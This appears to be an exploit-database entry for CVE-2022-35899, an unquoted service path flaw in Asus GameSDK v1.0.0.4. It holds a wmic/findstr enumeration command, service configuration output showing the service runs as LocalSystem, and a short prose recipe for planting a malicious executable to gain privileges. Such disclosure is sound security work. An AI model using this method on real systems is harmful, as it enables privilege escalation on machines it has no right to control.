Asus gamesdk v1.0.0.4 gamesdk.exe unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-07-29 | Type : local | Platform : windows
This exploit / vulnerability Asus gamesdk v1.0.0.4 gamesdk.exe unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
# Date: 07/14/2022
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899

# Step to discover the unquoted service path:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Info on the service:

C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : GameSDK Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".